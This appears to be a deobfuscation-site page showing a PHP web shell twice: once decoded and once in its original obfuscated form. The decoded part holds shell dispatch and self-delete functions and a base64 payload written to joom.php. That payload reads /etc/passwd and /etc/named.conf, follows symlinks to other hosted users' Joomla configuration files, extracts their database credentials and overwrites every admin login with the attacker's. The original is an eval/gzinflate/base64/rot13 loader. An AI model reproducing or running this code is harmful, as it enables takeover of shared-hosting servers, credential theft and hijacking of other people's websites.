NCg0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQp9DQoNCg0KDQoNCg0KDQpkaWUgKCI8L3RyPjwvZGl2PiIpOw0KDQoNCiAgICAgICAgICAgICAgICAgIH0NCg0KDQoNCg0KDQp9DQoNCg0KDQplY2hvICJyZWFkIC9ldGMvcGFzc3dkIjsNCmVjaG8gIjxiciAvPjxiciAvPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/d2VicjAwdD1wYXNzd2Qmc2F2ZT0xJz48dGV4dGFyZWEgY29scz0nODAnIHJvd3M9JzIwJyBuYW1lPSdmaWxlJz4iOw0KZmx1c2goKTsNCg0KJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOw0KDQoNCiRyM2FkID0gQGZvcGVuKCRmaWxlLCAncicpOw0KaWYgKCRyM2FkKXsNCiRjb250ZW50ID0gQGZyZWFkKCRyM2FkLCBAZmlsZXNpemUoJGZpbGUpKTsNCmVjaG8gIiIuaHRtbGVudGl0aWVzKCRjb250ZW50KS4iIjsNCn0NCmVsc2VpZighJHIzYWQpDQp7DQokcjNhZCA9IEBzaG93X3NvdXJjZSgkZmlsZSkgOw0KfQ0KZWxzZWlmKCEkcjNhZCkNCnsNCiRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCn0NCmVsc2VpZighJHIzYWQpDQp7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCR1aWQ9MDskdWlkPDEwMDA7JHVpZCsrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYXJhKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiJHZhbDoiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogfQ0KDQoNCmZsdXNoKCk7DQoNCg0KZWNobyAiPC90ZXh0YXJlYT48YnIgLz48YnIgLz48aW5wdXQgIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZuYnNwOyZuYnNwO3N5bWxpbmsmbmJzcDsmbmJzcDsnLz4gPC9mb3JtPiI7DQpmbHVzaCgpOw0KDQpicmVhazsNCg0KDQoNCmNhc2UgJ2pvb20nOg0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vIHh4eHh4eHh4eHh4eHh4eHh4eHggLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQoNCmlmKGlzc2V0KCRfUE9TVFsncyddKSl7DQoNCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdqb29tbGEudHh0Jyk7DQoNCiRleCAgID0gZXhwbG9kZSgiXG4iLCRmaWxlKTsNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBkb21pbiA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KZmx1c2goKTsNCg0KDQpmb3JlYWNoICgkZXggYXMgJGV4cCl7DQoNCiRlcyAgID0gZXhwbG9kZSgifHwiLCRleHApOw0KDQokY29uZmlnID0gJGVzWzBdOw0KDQokZG9taW4gPSAkZXNbMV07DQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCiRyZWFkY29uZmlnICA9IEBmaWxlX2dldF9jb250ZW50cyh0cmltKCRjb25maWcpKTsNCg0KaWYoZXJlZygnSkNvbmZpZycsJHJlYWRjb25maWcpKXsNCg0KDQoNCiRwYXNzICAgID0gIGV4KCRyZWFkY29uZmlnLCckcGFzc3dvcmQgPSBcJycsIic7Iik7DQoNCiR1c2VyZGIgID0gIGV4KCRyZWFkY29uZmlnLCckdXNlciA9IFwnJywiJzsiKTsNCg0KJGRiICAgICAgPSAgZXgoJHJlYWRjb25maWcsJyRkYiA9IFwnJywiJzsiKTsNCg0KJGZpeCAgICAgPSAgZXgoJHJlYWRjb25maWcsJyRkYnByZWZpeCA9IFwnJywiJzsiKTsNCg0KJHRhYiAgICAgPSAgJGZpeC4ndXNlcnMnOw0KDQoNCiRjb24gICAgID0gQG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsJHVzZXJkYiwkcGFzcyk7DQoNCiRkYiAgICAgID0gQG15c3FsX3NlbGVjdF9kYigkZGIsJGNvbik7DQoNCiRxdWVyeSAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVzZXJuYW1lYCA9J3NlYy13LmNvbSciKTsNCg0KDQokcXVlcnkzICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGBwYXNzd29yZGAgPSc0NGEwYmNkYTYxMTUxNDYyNWJhOTRlMGIxYzBiZGFlZDoyaWV0czl5ZGpSM2lPZFN1eXZXNTRwSXp5RjlNMVA1SiciKTsNCg0KDQppZiAoJHF1ZXJ5IGFuZCAkcXVlcnkzICl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TdWNjZWVkIDwvYj51c2VyIFtCTEFDSy5KYUd1QXJdIHBhc3MgWzFdPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7fQ0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KZmx1c2goKTsNCg0KDQoNCn1lbHNlew0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRleHAnPmNvbmZpZzwvYT48L3RkPjx0ZD48YiBzdHlsZT0nY29sb3I6cmVkJz5mYWlsZWQ8L2I+PC90ZD48L3RyPiI7DQpmbHVzaCgpOw0KDQp9DQoNCn0NCg0KDQoNCg0KDQoNCg0KDQoNCmRpZSgpOw0KDQp9DQoNCmlmKCFpc19maWxlKCduYW1lZC50eHQnKSl7DQoNCiRkMDBtID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KDQpmbHVzaCgpOw0KDQoNCn1lbHNlew0KDQokZDAwbSA9IGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCn0NCmlmKCEkZDAwbSkNCnsNCg0KICAgICAgICAgICAgICAgIGRpZSAoIjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7IHVybD0/d2VicjAwdD1yZWFkJy8+Iik7DQp9DQplbHNlDQoNCnsNCmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+DQo8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJHBnP3dlYnIwMHQ9am9vbSc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nTWFzcyBjaGluZyBBZG1pbicgLz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPScxJyBuYW1lPSdzJyAvPg0KPC9mb3JtPjxiciAvPjxiciAvPg0KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD4gRG9tYWlucyA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KDQokZiA9IGZvcGVuKCdqb29tbGEudHh0JywndycpOw0KDQpmb3JlYWNoKCRkMDBtIGFzICRkb20pew0KDQppZihlcmVnaSgiem9uZSIsJGRvbSkpew0KDQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOw0KDQppZihzdHJsZW4odHJpbSgkZG9tc3dzWzFdWzBdKSkgPiAyKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbXN3c1sxXVswXSkpOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokd3BsPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCI7DQokd3BwPWdldF9oZWFkZXJzKCR3cGwpOw0KJHdwPSR3cHBbMF07DQoNCiR3cDI9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAiOw0KJHdwcDI9Z2V0X2hlYWRlcnMoJHdwMik7DQokd3AxMj0kd3BwMlswXTsNCg0KJHdwMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiR3cHAzPWdldF9oZWFkZXJzKCR3cDMpOw0KJHdwMTM9JHdwcDNbMF07DQoNCg0KIC8vLy8vLy8vLy8gam9vbWxhIC8vLy8vLy8vLy8vLw0KDQokcG9zID0gc3RycG9zKCR3cCwgIjIwMCIpOw0KJGNvbmZpZz0iJm5ic3A7IjsNCg0KaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9PSB0cnVlICkNCnsNCiAkY29uZmlnPSAkd3BsOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTIsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AyOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTMsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AzOw0KfQ0KZWxzZQ0Kew0KY29udGludWU7DQoNCn0NCmZsdXNoKCk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJGRvbSA9ICRkb21zd3NbMV1bMF07DQoNCiR3ID0gZndyaXRlKCRmLCIkY29uZmlnfHwkZG9tIFxuIik7DQppZigkdyl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7fQ0KDQoNCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KDQoNCg0KDQoNCmZsdXNoKCk7DQoNCg0KfQ0KfQ0KfQ0KfQ0KDQoNCmJyZWFrOw0KDQoNCg0KDQoNCg0KDQoNCg0KfQ0KDQoNCi8vLyBob21lIC8vLw0KfWVsc2UNCnsNCg0KDQplY2hvICcnOw0KZWNobyAnJzsNCiB7DQoJDQoNCg0KfQ0KDQogICAgZWNobyAnDQo8YnIgLz48YnIgLz48YnIgLz48L2I+PC9iPjxkaXYgY2xhc3M9ImZvdCI+IDxiPjwvYj4gIDxiPjwvYj4NCjxiciAvPjxiciAvPg0KDQo8YnIgLz48YnIgLz4NCjwvZGl2PiAnOw0KDQp9DQoNCg0KZnVuY3Rpb24gZXgoJHRleHQsJGEsJGIpew0KJGV4cGxvZGUgPSBleHBsb2RlKCRhLCR0ZXh0KTsNCiRleHBsb2RlID0gZXhwbG9kZSgkYiwkZXhwbG9kZVsxXSk7DQpyZXR1cm4gJGV4cGxvZGVbMF07DQp9DQoNCg0KDQplY2hvICc8L2Rpdj4NCg0KDQoNCg0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCic7DQoNCj8+';

$file = fopen("joom.php" ,"w+");
$write = fwrite ($file ,base64_decode($joom1));
fclose($file);
echo '<iframe src="joom.php" style="height:500px; width:1500px; border:0px;" name="Mass">';
yemenfooter();
}

 function yemenselfrm()

 {

    

    if($_POST['p1'] == 'yes')

		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))

			die('Shell has been removed');

		else

			echo 'unlink error!';

    if($_POST['p1'] != 'yes')

        yemenhead();

	echo "<div class=header><pre class=ml1 style='margin-top:5px'>";

    

    

    echo "
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
????????????????
????????????????
????????????????
?????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
????????????????

";

    

    

    

    echo '<br>Kill Me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';

	yemenFooter();

    

 }





if( empty($_POST['a']) )

	if(isset($default_action) && function_exists('yemen' . $default_action))

		$_POST['a'] = $default_action;

	else

		$_POST['a'] = 'FilesMan';

if( !empty($_POST['a']) && function_exists('yemen' . $_POST['a']) )

	call_user_func('yemen' . $_POST['a']);

	exit;

Did this file decode correctly?

Original Code

<?php // This file is protected by BLACK.JaGuAr
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64');$OO00O0000=285532;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';

eval (gzinflate(base64_decode(str_rot13("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